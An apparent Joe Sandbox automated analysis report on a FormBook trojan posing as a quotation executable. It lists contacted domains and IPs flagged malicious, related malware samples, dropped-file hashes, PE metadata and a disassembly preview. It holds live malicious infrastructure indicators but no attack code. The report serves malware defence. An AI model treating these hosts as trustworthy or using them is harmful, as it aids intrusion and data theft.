https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	cmdkey.exe, 00000003.00000003.11922384899.00000000080E9000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp, b427-I_1.3.dr	false		high
http://www.zbywl.com/js.js	RAVCpl64.exe, 00000002.00000002.16214552888.0000000007C0A000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.000000000527A000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www70.chiro.live/	cmdkey.exe, 00000003.00000002.15247546664.00000000042C6000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.loopia.se/shared/images/additional-pages-hero-shape.webp	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.loopia.se/shared/style/2022-extra-pages.css	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.loopia.se/responsive/images/iOS-114.png	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	cmdkey.exe, 00000003.00000003.11922384899.00000000080E9000.00000004.00000020.00020000.00000000.sdmp, b427-I_1.3.dr	false		high
https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	b427-I_1.3.dr	false		high
https://zz.bdstatic.com/linksubmit/push.js	RAVCpl64.exe, 00000002.00000002.16214552888.0000000007C0A000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.000000000527A000.00000004.10000000.00040000.00000000.sdmp	false		high
https://ogbos88vip.click	RAVCpl64.exe, 00000002.00000002.16214552888.0000000007754000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004DC4000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.loopia.se/responsive/styles/reset.css	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.loopia.se/responsive/images/iOS-57.png	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.chiro.live/jwa9?gp=1&js=1&uuid=1736437877.0005169428&other_args=eyJ1cmkiOiAiL2p3YTkiLCAiY	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006C56000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.00000000042C6000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gemini.google.com/app?q=	cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb	RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
160.25.166.123	www.rpa.asia	unknown	17676	GIGAINFRASoftbankBBCorpJP	true
103.106.67.112	www.furrcali.xyz	New Zealand	56030	VOYAGERNET-AS-APVoyagerInternetLtdNZ	true
104.21.112.1	www.buyspeechst.shop	United States	13335	CLOUDFLARENETUS	true
194.9.94.85	www.milp.store	Sweden	39570	LOOPIASE	true
199.192.21.169	www.bokus.site	United States	22612	NAMECHEAP-NETUS	true
47.83.1.90	www.givvjn.info	United States	3209	VODANETInternationalIP-BackboneofVodafoneDE	true
76.223.54.146	www.bonheur.tech	United States	16509	AMAZON-02US	true
104.21.96.1	www.mzkd6gp5.top	United States	13335	CLOUDFLARENETUS	true
202.95.11.110	www.mirenzhibo.net	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	true
104.21.13.141	www.ogbos88.cyou	United States	13335	CLOUDFLARENETUS	true
136.243.64.147	100millionjobs.africa	Germany	24940	HETZNER-ASDE	true
198.58.118.167	www.chiro.live	United States	63949	LINODE-APLinodeLLCUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1586802
Start date and time:	2025-01-09 16:44:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 16m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	QUOTATION#070125-ELITE MARINE .exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@18/12
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 53 Number of non-executed functions: 310
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): WerFault.exe, svchost.exe
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: QUOTATION#070125-ELITE MARINE .exe

Simulations

Behavior and APIs

Time	Type	Description
10:47:50	API Interceptor	22291886x Sleep call for process: cmdkey.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
160.25.166.123	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.rpa.asia/bwjl/
160.25.166.123	z1enyifdfghvhvhvhvhvhvhvhvhvhvhvhvhvhvhvh.exe	Get hash	malicious	FormBook	Browse	www.rpa.asia/ggyo/
103.106.67.112	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.furrcali.xyz/k29t/
	rQuotation.exe	Get hash	malicious	FormBook	Browse	www.furrcali.xyz/3dtl/?4v7=WTzrGLrFoDOf3MfqMggnB2yODJjw2W6R3d7AI4DzdlPnCYzv+YsvzCma/KjEqV7kmJXwzvABskUepNotbm90GG8Ab8L4vbMqXlBd8atmujJl3TdcKhvlJPk=&pRel=chN0
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	www.furrcali.xyz/86f0/
	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.sailforever.xyz/p4rk/
	Doc 784-01965670.exe	Get hash	malicious	FormBook	Browse	www.sailforever.xyz/hshp/
	BL.exe	Get hash	malicious	FormBook	Browse	www.sailforever.xyz/hshp/
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	www.sailforever.xyz/hshp/
104.21.112.1	wxl1r0lntg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	838596cm.nyafka.top/lineLongpolllinuxFlowercentraluploads.php
104.21.112.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	beammp.com/phpmyadmin/
194.9.94.85	PO-000172483 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.milp.store/2j93/
	Order.exe	Get hash	malicious	FormBook	Browse	www.deeplungatlas.org/57zf/
	SDBARVe3d3.exe	Get hash	malicious	FormBook	Browse	www.deeplungatlas.org/57zf/
	Payment Advice.exe	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/4hda/
	proforma invoice.exe	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/4hda/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/4hda/
	shipping documents.exe	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/4hda/
	MV Sunshine, ORDER.exe	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/4hda/
	PAYROLL SUMMARY _pdf.exe	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/4hda/
	docs_pdf.exe	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/4hda/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.rpa.asia	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	160.25.166.123
www.rpa.asia	z1enyifdfghvhvhvhvhvhvhvhvhvhvhvhvhvhvhvh.exe	Get hash	malicious	FormBook	Browse	160.25.166.123
www.chiro.live	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	45.33.23.183
www.mzkd6gp5.top	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
www.mzkd6gp5.top	CJE003889.exe	Get hash	malicious	FormBook	Browse	172.67.158.81
www.milp.store	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	PO-000172483 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.9.94.85
	new.exe	Get hash	malicious	FormBook	Browse	194.9.94.86
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	194.9.94.86
www.mirenzhibo.net	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	202.95.11.110
	rQuotation.exe	Get hash	malicious	FormBook	Browse	202.95.11.110
	z1enyifdfghvhvhvhvhvhvhvhvhvhvhvhvhvhvhvh.exe	Get hash	malicious	FormBook	Browse	202.95.11.110
www.bonheur.tech	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.bonheur.tech	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	76.223.54.146
www.givvjn.info	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
www.bokus.site	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
www.furrcali.xyz	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	rQuotation.exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	103.106.67.112

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GIGAINFRASoftbankBBCorpJP	6.elf	Get hash	malicious	Unknown	Browse	126.228.237.104
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	160.25.166.123
	5.elf	Get hash	malicious	Unknown	Browse	171.2.26.236
	6.elf	Get hash	malicious	Unknown	Browse	220.38.176.232
	6.elf	Get hash	malicious	Unknown	Browse	126.126.55.244
	3.elf	Get hash	malicious	Unknown	Browse	157.103.108.160
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	123.230.33.166
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	221.51.193.17
	6.elf	Get hash	malicious	Unknown	Browse	220.8.167.167
	miori.ppc.elf	Get hash	malicious	Unknown	Browse	221.85.111.46
VOYAGERNET-AS-APVoyagerInternetLtdNZ	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	5.elf	Get hash	malicious	Unknown	Browse	202.154.140.238
	rQuotation.exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	na.elf	Get hash	malicious	Unknown	Browse	202.154.136.19
	sora.mips.elf	Get hash	malicious	Mirai	Browse	202.154.140.249
	loligang.mips-20241128-1536.elf	Get hash	malicious	Mirai	Browse	114.23.255.61
	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	103.106.67.112
	sh4.elf	Get hash	malicious	Mirai	Browse	111.65.234.249
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	114.23.128.23
CLOUDFLARENETUS	https://enterprisefocus.benchurl.com/c/l?u=11FC0F0E&e=193CF6A&c=173A1E&&t=0&l=11D51F9C4&email=s8sR2EUS6pcTEMAyWZX%2BTfGL0c%2FIo%2Bud&seq=2	Get hash	malicious	Unknown	Browse	104.17.25.14
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.64.1
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	Benefit_401k_2025_Enrollment.pdf	Get hash	malicious	Unknown	Browse	172.64.155.59
	https://ccml.io/	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://readermodeext.info	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://bryf.atchirlisc.ru/EeMAGvIe/	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	http://readermodeext.info	Get hash	malicious	Unknown	Browse	1.1.1.1
	CTM REQUEST-ETD JAN 22, 2024_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1

Process:	C:\Windows\SysWOW64\cmdkey.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	1.1142956103012707
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6kvjd:8t4n/9p/39J6hwNKRmqu+7VusEtrd
MD5:	E3F9717F45BF5FFD0A761794A10A5BB5
SHA1:	EBD823E350F725F29A7DE7971CD35D8C9A5616CC
SHA-256:	D79535761C01E8372CCEB75F382E912990929624EEA5D7093A5A566BAE069C70
SHA-512:	F12D2C7B70E898ABEFA35FEBBDC28D264FCA071D66106AC83F8FC58F40578387858F364C838E69FE8FC66645190E1CB2B4B63791DDF77955A1C376424611A85D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\scroll

Download File

Process:	C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.994161087443874
Encrypted:	true
SSDEEP:	6144:TR3SdWrUsHs2wQb50ccdixlgFbRX9cSaCRLi7QbztVprXbAgj3:TgMs2wQb5patX9c0RLimjka
MD5:	2F4CA8506AC4A0AE022B5EB39877BC8E
SHA1:	82431BF0F771A07F1086C536C60818CD91C73E11
SHA-256:	7F6E2C96C0C37B18E883B12BF2981A4925B9903D0C7B065893408F0C30EA30EC
SHA-512:	0F836451F6896E445074B947463F43E681FEC467C7205BE926372CD003E76AC4B2E7ACDC74EA140FF8E87B15657327C52FC7B074808DEE3226161B09605E1A46
Malicious:	false
Reputation:	low
Preview:	.k.YU6C6SGSB..B0.0Y19YV6.6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6.6WG]].CB.8.x.8....^>4s24"%BP]yRX78Y7.5"s03#bY_..~jy;Y'SyJ^HbMB010Y1@X_.~V0.n"!..PV.C...lV$.M...z-%.+....91.._4/n"!.B010Y19Y.sC6.FRB,..m10Y19YV6.6UFXCMMBd50Y19YV6C6.RSBF]B01@]19Y.6C&WGS@FMD010Y19YP6C6WGSBF=F012Y19YV6A6..SBVMB 10Y1)YV&C6WGSBVMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010wE\!"6C6..WBF]B01d]19IV6C6WGSBFMB010y199V6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WGSBFMB010Y19YV6C6WG

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.426580759981662
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QUOTATION#070125-ELITE MARINE .exe
File size:	1'749'504 bytes
MD5:	71a9653e383348db78edaa7619dea426
SHA1:	4670f01da3fe979ffe6c27ef16080cdb71c03770
SHA256:	8cf3f5031f2201c448b2dc53d88b0a2142797116a6781d0f1222733127711add
SHA512:	05ef9586056b2921a6a893afc244e98060728dab665396a3e94612bc4f3c16c5faa7d4ac6b13e70b8f47c3b25aeda4e04ce30b74e8ca016bab9aa479bdffa259
SSDEEP:	24576:7qDEvCTbMWu7rQYlBQcBiT6rprG8aU3X3N5RrgedytPHS12D95/KvAr:7TvC/MTQYxsWR7aUH3N5Knfs2D95/6
TLSH:	E885E1023781C022FF9B95330BA7F7158BBC6A260527A51F13981DB9BE705B1563E7A3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	333333ab693b9b98

Static PE Info

General

Entrypoint:	0x420577
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x677DC322 [Wed Jan 8 00:13:22 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	948cc502fe9226992dce9417f952fce3

Entrypoint Preview

Instruction
call 00007F23704C2A03h
jmp 00007F23704C230Fh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F23704C24EDh
mov dword ptr [esi], 0049FDF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FDF8h
mov dword ptr [ecx], 0049FDF0h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F23704C24BAh
mov dword ptr [esi], 0049FE0Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE14h
mov dword ptr [ecx], 0049FE0Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007F23704C50ADh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDD0h
push eax
call 00007F23704C50F8h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
push eax
call 00007F23704C50E1h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e64	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0xd4730	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1a9000	0x7594	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb0ff0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1010	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9ab1d	0x9ac00	0a1473f3064dcbc32ef93c5c8a90f3a6	False	0.565500681542811	data	6.668273581389308	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb82	0x2fc00	c9cf2468b60bf4f80f136ed54b3989fb	False	0.35289185209424084	data	5.691811547483722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
